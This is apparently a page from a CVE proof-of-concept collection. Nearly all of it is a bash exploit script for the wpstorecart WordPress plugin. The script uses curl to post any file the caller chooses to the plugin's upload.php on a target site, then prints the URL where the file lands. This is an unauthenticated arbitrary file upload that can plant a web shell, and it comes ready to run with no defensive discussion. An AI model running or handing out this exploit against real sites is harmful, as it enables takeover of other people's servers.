4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / wpstorecart-exploit.sh SH
#!/bin/bash
file=$1
target=$2
echo ""
echo "Usage: exploit.sh <file> <target>"
echo ""

response=$(curl -i -X POST -F "Filedata=@$file" https://$target/wp-content/plugins/wpstorecart/php/upload.php)

if echo "$response" | grep -q 200 ; then 
	echo ""
	echo "file uploaded to: https://$target/wp-content/uploads/wpstorecart/$file"
	echo ""
else 
	echo "Something went wrong"
fi